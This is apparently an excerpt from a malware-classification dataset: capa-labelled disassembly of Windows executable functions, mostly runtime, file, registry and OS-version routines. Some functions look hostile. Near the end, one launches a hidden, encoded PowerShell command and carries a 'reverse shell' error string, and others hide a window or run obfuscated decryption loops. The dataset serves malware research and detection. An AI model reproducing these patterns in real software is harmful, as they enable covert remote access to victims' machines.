joyce8/EMBER2024-capa huggingface dataset:
Function at 0x66d880
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x72acfc]
jne 0x67324a
repz ret
push ebp
mov ebp, esp
sub esp, 0x328
mov dword [0x734d28], eax
mov dword [0x734d24], ecx
mov dword [0x734d20], edx
mov dword [0x734d1c], ebx
mov dword [0x734d18], esi
mov dword [0x734d14], edi
mov word [0x734d40], ss
mov word [0x734d34], cs
mov word [0x734d10], ds
mov word [0x734d0c], es
mov word [0x734d08], fs
mov word [0x734d04], gs
pushfd
pop dword [0x734d38]
mov eax, dword [ebp]
mov dword [0x734d2c], eax
mov eax, dword [ebp + 4]
mov dword [0x734d30], eax
lea eax, [ebp + 8]
mov dword [0x734d3c], eax
mov eax, dword [ebp - 0x320]
mov dword [0x734c78], 0x10001
mov eax, dword [0x734d30]
mov dword [0x734c2c], eax
mov dword [0x734c20], 0xc0000409
mov dword [0x734c24], 1
mov eax, dword [0x72acfc]
mov dword [ebp - 0x328], eax
mov eax, dword [0x72ad00]
mov dword [ebp - 0x324], eax
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x734c70], eax
push 1
call fcn.006724d4
pop ecx
push 0
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
push 0x5015e0
call dword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x734c70], 0
jne 0x67333a
push 1
call fcn.006724d4
pop ecx
push 0xc0000409
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
leave
ret
Function at 0x67b944
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.00671448
xor ebx, ebx
cmp dword [0x735414], ebx
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0xc], ebx
jne 0x67ba19
push 0x507edc
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
jne 0x67b984
xor eax, eax
jmp 0x67badd
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x507ed0
push edi
call esi
cmp eax, ebx
je 0x67b97d
push eax
call fcn.006713e5
mov dword [esp], 0x507ec0
push edi
mov dword [0x735414], eax
call esi
push eax
call fcn.006713e5
mov dword [esp], 0x507eac
push edi
mov dword [0x735418], eax
call esi
push eax
call fcn.006713e5
mov dword [0x73541c], eax
lea eax, [ebp - 8]
push eax
call fcn.006711a6
test eax, eax
pop ecx
pop ecx
je 0x67b9e7
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.0066d393
add esp, 0x14
cmp dword [ebp - 8], 2
jne 0x67ba19
push 0x507e90
push edi
call esi
push eax
call fcn.006713e5
cmp eax, ebx
pop ecx
mov dword [0x735424], eax
je 0x67ba19
push 0x507e78
push edi
call esi
push eax
call fcn.006713e5
pop ecx
mov dword [0x735420], eax
mov eax, dword [0x735420]
mov esi, dword [ebp - 0x10]
cmp eax, esi
je 0x67ba92
cmp dword [0x735424], esi
je 0x67ba92
push eax
call fcn.00671451
pop ecx
call eax
cmp eax, ebx
je 0x67ba5f
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
push dword [0x735424]
call fcn.00671451
pop ecx
call eax
test eax, eax
je 0x67ba5f
test byte [ebp - 0x18], 1
jne 0x67ba92
lea eax, [ebp - 0xc]
push eax
call fcn.006711dd
test eax, eax
pop ecx
je 0x67ba7a
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.0066d393
add esp, 0x14
cmp dword [ebp - 0xc], 4
jb 0x67ba89
or dword [ebp + 0x10], 0x200000
jmp 0x67bac3
or dword [ebp + 0x10], 0x40000
jmp 0x67bac3
mov eax, dword [0x735418]
cmp eax, esi
je 0x67bac3
push eax
call fcn.00671451
pop ecx
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x67bac3
mov eax, dword [0x73541c]
cmp eax, esi
je 0x67bac3
push dword [ebp - 4]
push eax
call fcn.00671451
pop ecx
call eax
mov dword [ebp - 4], eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
push dword [0x735414]
call fcn.00671451
pop ecx
call eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x683608
Capabilities:
Write file on windows

Disassembly:
push 0x10c
mov eax, 0x6bb3b5
call fcn.0066d8f7
mov eax, dword [ebp + 0xc]
mov ebx, dword [ebp + 8]
mov dword [ebp - 0xc0], eax
call fcn.00683506
mov edx, dword [eax]
mov ecx, eax
call dword [edx + 4]
push dword [0x72c3f0]
lea ecx, [ebp - 0x118]
mov esi, eax
call fcn.00685221
mov eax, dword [esi]
push 1
push 1
xor edi, edi
push edi
lea ecx, [ebp - 0x118]
push ecx
lea ecx, [ebp - 0xb8]
push ecx
mov ecx, esi
mov dword [ebp - 4], edi
call dword [eax + 0x24]
lea ecx, [ebp - 0x118]
mov byte [ebp - 4], 2
call fcn.0055b7f8
lea ecx, [ebp - 0xb8]
call fcn.006845f7
test al, al
je 0x68368b
cmp dword [ebp - 0xc0], edi
je 0x683729
lea eax, [ebp - 0xb9]
push eax
lea ecx, [ebp - 0x64]
call fcn.00684cd5
push ebx
lea eax, [ebp - 0x64]
push eax
mov byte [ebp - 4], 3
call fcn.0068d88a
lea ecx, [ebp - 0xb8]
call fcn.006845f7
test al, al
jne 0x68370e
push edi
push 0x80
push 2
push edi
push 1
push 0x40000000
lea ecx, [ebp - 0xb8]
call fcn.0068484c
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x68370e
push edi
lea eax, [ebp - 0xc4]
push eax
lea ecx, [ebp - 0x64]
mov dword [ebp - 0xc4], edi
call fcn.006409a9
push eax
lea ecx, [ebp - 0x64]
call fcn.0068484c
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0xc0]
cmp ecx, edi
je 0x683721
lea eax, [ebp - 0x64]
push eax
call fcn.006853a0
lea ecx, [ebp - 0x64]
call fcn.0055b7f8
lea ecx, [ebp - 0xb8]
call fcn.0055b7f8
call fcn.0066d97a
ret 8
Function at 0x6948e9
Capabilities:
Get common file path

Disassembly:
push 0x210
mov eax, 0x6be7d1
call fcn.0066d8f7
mov edi, dword [ebp + 8]
xor ebx, ebx
cmp byte [0x735f90], bl
mov esi, 0x735f90
jne 0x694a5e
push 0x103
lea eax, [ebp - 0x113]
push ebx
push eax
mov byte [ebp - 0x114], bl
call fcn.0066e181
add esp, 0xc
push 0x104
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
test eax, eax
jne 0x69497f
push 0x5c
call sym.osetup.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov ecx, eax
mov dword [ebp - 0x16c], ecx
cmp ecx, ebx
mov dword [ebp - 4], ebx
je 0x694962
push 0x80004005
call fcn.00685844
jmp 0x694964
xor eax, eax
or dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x170], eax
push 0x6d914c
lea eax, [ebp - 0x170]
push eax
call fcn.0066dd58
push 0x50a694
lea ecx, [ebp - 0x21c]
call fcn.00685221
lea eax, [ebp - 0x114]
push eax
lea ecx, [ebp - 0x1c8]
mov dword [ebp - 4], 1
call fcn.00685221
lea eax, [ebp - 0x21c]
push eax
lea eax, [ebp - 0x1c8]
push eax
lea eax, [ebp - 0x168]
push eax
mov byte [ebp - 4], 2
call fcn.006947c8
lea ecx, [ebp - 0x1c8]
call fcn.0055b7f8
lea ecx, [ebp - 0x21c]
mov byte [ebp - 4], 5
call fcn.0055b7f8
push ebx
push ebx
lea eax, [ebp - 0x174]
push eax
push esi
lea ecx, [ebp - 0x168]
mov dword [ebp - 0x174], 0x84
call fcn.0068484c
push eax
call sub.msi.dll_MsiMessageBoxA
test eax, eax
je 0x694a4f
push 0x5c
mov byte [0x735f90], bl
call sym.osetup.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov ecx, eax
mov dword [ebp - 0x170], ecx
cmp ecx, ebx
mov byte [ebp - 4], 6
je 0x694a33
push 0x80004005
call fcn.00685844
jmp 0x694a35
xor eax, eax
mov dword [ebp - 0x16c], eax
mov byte [ebp - 4], 5
push 0x6d914c
lea eax, [ebp - 0x16c]
jmp 0x694979
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x168]
call fcn.0055b7f8
push esi
mov ecx, edi
call fcn.00685132
call fcn.0066d97a
ret 4

Function at 0x694b99
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x98
mov eax, dword [0x72acfc]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x98]
push eax
mov dword [ebp - 0x98], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
jne 0x694bd0
push 4
pop eax
jmp 0x694c4a
push 2
pop ecx
cmp dword [ebp - 0x88], ecx
jne 0x694c1b
push 4
pop eax
cmp dword [ebp - 0x94], eax
jne 0x694bee
mov dword [esi], 3
jmp 0x694c48
cmp dword [ebp - 0x94], 5
jne 0x694c13
cmp dword [ebp - 0x90], 0
je 0x694c0f
xor eax, eax
cmp dword [ebp - 0x90], 1
setne al
add eax, 5
mov dword [esi], eax
jmp 0x694c48
mov dword [esi], 6
jmp 0x694c48
xor eax, eax
inc eax
cmp dword [ebp - 0x88], eax
jne 0x694c48
cmp dword [ebp - 0x90], 0
je 0x694c45
cmp dword [ebp - 0x90], 0xa
je 0x694c0f
cmp dword [ebp - 0x90], 0x5a
jne 0x694c48
mov dword [esi], ecx
jmp 0x694c48
and dword [esi], 0
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.0066d880
leave
ret 4
Function at 0x69c9d2
Capabilities:
Reference sql statements

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x6bfcdd
mov eax, dword fs:[0]
push eax
mov eax, 0x453c
call fcn.0066dda2
mov eax, dword [0x72acfc]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 8]
mov esi, dword [ebp + 0x10]
mov edi, dword [ebp + 0xc]
mov ecx, esi
mov dword [ebp - 0x4548], eax
call fcn.006845f7
test al, al
jne 0x69cb22
mov ecx, edi
call fcn.006845f7
test al, al
jne 0x69cb22
xor ebx, ebx
mov dword [ebp - 0x453c], ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x4540], ebx
mov eax, 0x104
push eax
mov dword [ebp - 0x4544], eax
lea eax, [ebp - 0x117]
push ebx
push eax
mov byte [ebp - 4], 1
mov byte [ebp - 0x118], bl
call fcn.0066e181
add esp, 0xc
lea eax, [ebp - 0x4544]
push eax
lea eax, [ebp - 0x118]
push eax
push 0x50afa4
mov ecx, esi
call fcn.0068484c
push eax
call sub.msi.dll_MsiGetProductPropertyA
test eax, eax
jne 0x69cafc
lea ecx, [ebp - 0x453c]
call fcn.00694c75
push eax
push ebx
lea eax, [ebp - 0x118]
push eax
call sub.msi.dll_MsiOpenProductA
test eax, eax
jne 0x69cafc
mov esi, dword [ebp - 0x453c]
lea ecx, [ebp - 0x4540]
call fcn.00694c75
push eax
push 0x50af48
push esi
call sub.msi.dll_MsiEnumClientsA
test eax, eax
jne 0x69cafc
push 1
push dword [ebp - 0x4540]
lea eax, [ebp - 0x4538]
push eax
call fcn.0069c6a8
test al, al
je 0x69cafc
mov ecx, edi
call fcn.0068484c
push eax
lea eax, [ebp - 0x4538]
push eax
push dword [ebp - 0x4548]
call fcn.0069c8b1
cmp dword [ebp - 0x4540], ebx
je 0x69cb0f
push dword [ebp - 0x4540]
call sub.msi.dll_MsiConfigureFeatureFromDescriptorA
cmp dword [ebp - 0x453c], ebx
je 0x69cb22
push dword [ebp - 0x453c]
call sub.msi.dll_MsiConfigureFeatureFromDescriptorA
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0066d880
leave
ret 0xc
Function at 0x69cd00
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
lea eax, [ebp - 0x14]
push eax
call fcn.00694b99
cmp eax, 4
jne 0x69cd18
xor al, al
leave
ret
cmp dword [ebp - 0x14], 2
jle 0x69cd22
mov al, 1
leave
ret
push ebx
lea eax, [ebp - 0xc]
push eax
push 1
xor ebx, ebx
push ebx
push 0x50ab94
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 0xc], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
cmp eax, ebx
je 0x69cd4e
cmp eax, 2
sete bl
jmp 0x69cdd4
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push edi
lea eax, [ebp - 8]
push eax
push ebx
push ebx
push ebx
mov edi, 0x4f38a8
push edi
push dword [ebp - 0xc]
mov dword [ebp - 8], ebx
call esi
cmp eax, ebx
je 0x69cd77
cmp eax, 2
sete bl
jmp 0x69cdd2
mov eax, dword [ebp - 8]
inc eax
push eax
call sym.osetup.dll_void____cdecl_operator_new_unsigned_int_
cmp eax, ebx
pop ecx
mov dword [ebp - 0x10], eax
je 0x69cdd2
lea ecx, [ebp - 8]
push ecx
push eax
push ebx
push ebx
push edi
push dword [ebp - 0xc]
call esi
cmp eax, ebx
je 0x69cda2
cmp eax, 2
sete bl
jmp 0x69cdc9
mov esi, dword [ebp - 0x10]
mov eax, dword [ebp - 8]
push 0x76
push esi
mov byte [eax + esi], bl
call fcn.006786d3
test eax, eax
pop ecx
pop ecx
jne 0x69cdc9
push 0x56
push esi
call fcn.006786d3
test eax, eax
pop ecx
pop ecx
jne 0x69cdc9
mov bl, 1
push dword [ebp - 0x10]
call sym.osetup.dll_void___cdecl_operator_delete_void__
pop ecx
pop edi
pop esi
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, bl
pop ebx
leave
ret

Function at 0x6a41f1
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x6a420b
test al, 0x10
je 0x6a420b
xor eax, eax
inc eax
jmp 0x6a420d
xor eax, eax
pop ebp
ret 4
Function at 0x403290
Capabilities:
Get disk information

Disassembly:
sub esp, 0x844
mov eax, dword [esp + 0x848]
mov ecx, dword [eax]
mov edx, dword [0x4353fc]
push ebx
push ebp
push esi
mov esi, dword [eax + 4]
mov eax, dword [0x4353f8]
push edi
xor edi, edi
mov dword [esp + 0x40], eax
lea eax, [esp + 0x10]
mov dword [esp + 0x28], ecx
mov dword [esp + 0x10], edi
mov dword [esp + 0x38], 0x9e3779b9
mov dword [esp + 0x3c], edx
call fcn.00403260
mov eax, dword [0x435400]
mov edx, dword [0x435404]
add dword [esp + 0x10], 0x23f
mov ebx, dword [sym.imp.KERNEL32.dll_GetWriteWatch]
mov ebp, dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
mov dword [esp + 0x34], eax
mov dword [esp + 0x44], edx
mov dword [esp + 0x30], 0x20
mov dword [esp + 0x24], 2
add dword [esp + 0x24], 3
mov eax, dword [0x6f52e4]
shl ecx, 4
add ecx, dword [esp + 0x34]
mov dword [esp + 0x14], ecx
cmp eax, 0xfa9
jne 0x403333
mov dword [0x6f52e0], 0xedeb2e40
jmp 0x403340
cmp eax, 0x3eb
jne 0x403340
mov dword [0x6f21e8], edi
mov eax, dword [esp + 0x28]
mov dword [esp + 0x20], eax
mov eax, dword [esp + 0x10]
add dword [esp + 0x20], eax
mov eax, dword [esp + 0x28]
shr eax, 5
mov dword [esp + 0x18], eax
mov ecx, dword [esp + 0x44]
lea eax, [esp + 0x18]
mov dword [0x6f52dc], 0xf4ea3dee
call fcn.00403270
mov eax, dword [esp + 0x20]
xor dword [esp + 0x14], eax
mov eax, dword [esp + 0x14]
xor dword [esp + 0x18], eax
cmp dword [0x6f52e4], 0x213
jne 0x4033d9
lea ecx, [esp + 0x48]
push ecx
lea edx, [esp + 0x54]
push edx
lea eax, [esp + 0x34]
push eax
push edi
push edi
push edi
mov dword [esp + 0x44], edi
call ebx
lea ecx, [esp + 0x54]
push ecx
push edi
call ebp
push edi
push 0x402d70
push 0x402d34
call dword [sym.imp.KERNEL32.dll_CreateHardLinkW]
lea edx, [esp + 0x4c]
push edx
push 0x402df8
call dword [sym.imp.KERNEL32.dll_GetCompressedFileSizeA]
push edi
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_ChangeTimerQueueTimer]
sub esi, dword [esp + 0x18]
lea ecx, [esp + 0x14]
mov eax, esi
mov dword [esp + 0x2c], esi
call fcn.00403250
mov eax, dword [esp + 0x40]
add dword [esp + 0x14], eax
mov dword [esp + 0x1c], edi
mov eax, dword [esp + 0x10]
add dword [esp + 0x1c], eax
mov eax, dword [esp + 0x2c]
nop
add dword [esp + 0x1c], eax
mov eax, dword [esp + 0x1c]
mov dword [esp + 0x20], eax
mov ecx, esi
shr ecx, 5
add ecx, dword [esp + 0x3c]
mov dword [esp + 0x18], ecx
mov eax, dword [esp + 0x20]
xor dword [esp + 0x14], eax
cmp dword [0x6f52e4], 0x121
jne 0x40343f
push edi
push edi
lea edx, [esp + 0x5c]
push edx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesW]
mov ecx, dword [esp + 0x14]
xor ecx, dword [esp + 0x18]
lea eax, [esp + 0x28]
mov dword [esp + 0x14], ecx
call fcn.00403280
mov eax, dword [esp + 0x38]
sub dword [esp + 0x10], eax
sub dword [esp + 0x30], 1
mov ecx, dword [esp + 0x28]
jne 0x403303
mov eax, dword [esp + 0x858]
pop edi
mov dword [eax + 4], esi
pop esi
pop ebp
mov dword [eax], ecx
pop ebx
add esp, 0x844
ret 4
Function at 0x40a340
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x434c38]
jne 0x40a34a
repz ret
jmp fcn.0040e592

Function at 0x40be0c
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00407e94
and dword [ebp - 4], 0
cmp dword [0x437208], 0
mov ebx, eax
jne 0x40bebd
push 0x401b10
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40bf6e
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x401b04
push edi
call esi
test eax, eax
je 0x40bf6e
push eax
call fcn.00407e22
mov dword [esp], 0x401af4
push edi
mov dword [0x437208], eax
call esi
push eax
call fcn.00407e22
mov dword [esp], 0x401ae0
push edi
mov dword [0x43720c], eax
call esi
push eax
call fcn.00407e22
mov dword [esp], 0x401ac4
push edi
mov dword [0x437210], eax
call esi
push eax
call fcn.00407e22
pop ecx
mov dword [0x437218], eax
test eax, eax
je 0x40bebd
push 0x401aac
push edi
call esi
push eax
call fcn.00407e22
pop ecx
mov dword [0x437214], eax
mov eax, dword [0x437214]
cmp eax, ebx
je 0x40bf15
cmp dword [0x437218], ebx
je 0x40bf15
push eax
call fcn.00407e9d
push dword [0x437218]
mov esi, eax
call fcn.00407e9d
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40bf15
test edi, edi
je 0x40bf15
call esi
test eax, eax
je 0x40bf0c
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40bf0c
test byte [ebp - 0xc], 1
jne 0x40bf15
or dword [ebp + 0x10], 0x200000
jmp 0x40bf4e
mov eax, dword [0x43720c]
cmp eax, ebx
je 0x40bf4e
push eax
call fcn.00407e9d
pop ecx
test eax, eax
je 0x40bf4e
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40bf4e
mov eax, dword [0x437210]
cmp eax, ebx
je 0x40bf4e
push eax
call fcn.00407e9d
pop ecx
test eax, eax
je 0x40bf4e
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x437208]
call fcn.00407e9d
pop ecx
test eax, eax
je 0x40bf6e
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40bf70
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x409b80
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.004049e0
and dword [ebp - 4], 0
cmp dword [0x45ff6c], 0
mov ebx, eax
jne 0x409c31
push 0x4023c8
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x409ce2
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x4023bc
push edi
call esi
test eax, eax
je 0x409ce2
push eax
call fcn.0040496e
mov dword [esp], 0x4023ac
push edi
mov dword [0x45ff6c], eax
call esi
push eax
call fcn.0040496e
mov dword [esp], 0x402398
push edi
mov dword [0x45ff70], eax
call esi
push eax
call fcn.0040496e
mov dword [esp], 0x40237c
push edi
mov dword [0x45ff74], eax
call esi
push eax
call fcn.0040496e
pop ecx
mov dword [0x45ff7c], eax
test eax, eax
je 0x409c31
push 0x402364
push edi
call esi
push eax
call fcn.0040496e
pop ecx
mov dword [0x45ff78], eax
mov eax, dword [0x45ff78]
cmp eax, ebx
je 0x409c89
cmp dword [0x45ff7c], ebx
je 0x409c89
push eax
call fcn.004049e9
push dword [0x45ff7c]
mov esi, eax
call fcn.004049e9
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x409c89
test edi, edi
je 0x409c89
call esi
test eax, eax
je 0x409c80
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x409c80
test byte [ebp - 0xc], 1
jne 0x409c89
or dword [ebp + 0x10], 0x200000
jmp 0x409cc2
mov eax, dword [0x45ff70]
cmp eax, ebx
je 0x409cc2
push eax
call fcn.004049e9
pop ecx
test eax, eax
je 0x409cc2
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x409cc2
mov eax, dword [0x45ff74]
cmp eax, ebx
je 0x409cc2
push eax
call fcn.004049e9
pop ecx
test eax, eax
je 0x409cc2
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x45ff6c]
call fcn.004049e9
pop ecx
test eax, eax
je 0x409ce2
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x409ce4
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x407180
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x4071be
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x4071b6
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x4071c0
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x4071a6
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x4072a0
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
je 0x4072b6
xor eax, eax
pop ebp
ret
mov ecx, dword [eax + 0x3c]
add ecx, eax
xor eax, eax
cmp dword [ecx], 0x4550
jne 0x4072d1
mov edx, 0x10b
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret

Function at 0x40197d
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov eax, dword [esp + 8]
mov dword [0x4040d0], eax
xor eax, eax
mov ebp, esp
mov ecx, 0xa
push eax
dec ecx
jne 0x401990
push esp
mov dword [ebp - 0x24], 0x4016f4
mov eax, dword [0x4040d0]
mov dword [ebp - 0x18], eax
mov dword [ebp - 4], str.solienty
call dword [sym.imp.USER32.dll_RegisterClassA]
xor eax, eax
push eax
push dword [0x4040d0]
push eax
push eax
push 0x190
push 0x2b2
push 0x640
push 0x9c4
push 0
push str.absent
push str.solienty
push eax
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov dword [0x4040d8], eax
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
xor eax, eax
push eax
push eax
push eax
lea edx, [ebp - 0x1c]
push edx
call dword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
je 0x401a2f
mov esi, dword [sym.imp.USER32.dll_TranslateMessage]
mov edi, dword [sym.imp.USER32.dll_DispatchMessageA]
lea eax, [ebp - 0x1c]
push eax
call esi
lea ecx, [ebp - 0x1c]
push ecx
call edi
xor eax, eax
push eax
push eax
push eax
lea edx, [ebp - 0x1c]
push edx
call dword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
jne 0x401a10
pop ebp
ret 0x10
Function at 0x401460
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push edi
sub esp, 0x894
mov eax, dword [ebp + 8]
mov dword [esp + 0xc], eax
mov dword [esp + 8], str.powershell.exe__WindowStyle_Hidden__EncodedCommand__s
mov dword [esp + 4], 0x800
lea eax, [ebp - 0x808]
mov dword [esp], eax
call sym.___mingw_snprintf
lea edx, [ebp - 0x84c]
mov eax, 0
mov ecx, 0x11
mov edi, edx
rep stosd dword es:[edi], eax
mov dword [ebp - 0x84c], 0x44
lea eax, [ebp - 0x85c]
mov dword [esp + 0x24], eax
lea eax, [ebp - 0x84c]
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
lea eax, [ebp - 0x808]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._CreateProcessA_40
sub esp, 0x28
test eax, eax
jne 0x401525
call sym._GetLastError_0
mov dword [esp + 4], eax
mov dword [esp], str.Failed_to_execute_reverse_shell._Error:__lu_n
call sym._printf
jmp 0x401560
mov eax, dword [ebp - 0x85c]
mov dword [esp + 4], 0xffffffff
mov dword [esp], eax
call sym._WaitForSingleObject_8
sub esp, 8
mov eax, dword [ebp - 0x85c]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov eax, dword [ebp - 0x858]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov edi, dword [ebp - 4]
leave
ret